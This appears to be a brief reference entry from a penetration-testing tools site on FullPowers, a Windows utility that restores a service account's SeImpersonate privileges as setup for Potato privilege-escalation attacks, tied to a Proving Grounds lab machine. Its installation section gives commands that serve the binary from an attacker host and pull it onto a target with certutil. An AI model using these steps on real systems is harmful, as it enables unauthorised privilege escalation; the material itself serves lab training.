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Restores a service account's default privileges (SeImpersonate).

A tool that restores a service account's default privileges (including SeImpersonate and SeAssignPrimaryToken) when the token comes stripped. It is usually the setup step before a Potato attack.

Family Privilege escalation

Flags (sin flags)

Concepts SeImpersonate and Potato attacks

Cheatsheet Token privileges → SYSTEM

Installation

# Prebuilt Windows binary (not installed on Kali): download the .exe from the
# repo's latest release and upload it to the target, e.g. serving it from Kali:
python3 -m http.server 80                              # on Kali, in the binary's folder
certutil -urlcache -f http://<lhost>/FullPowers.exe FullPowers.exe      # on the target (or SMB / evil-winrm 'upload')

Useful commands3 commands

Appears in

Some machines where its use is documented; not an exhaustive list.

  • SquidProving Grounds Practice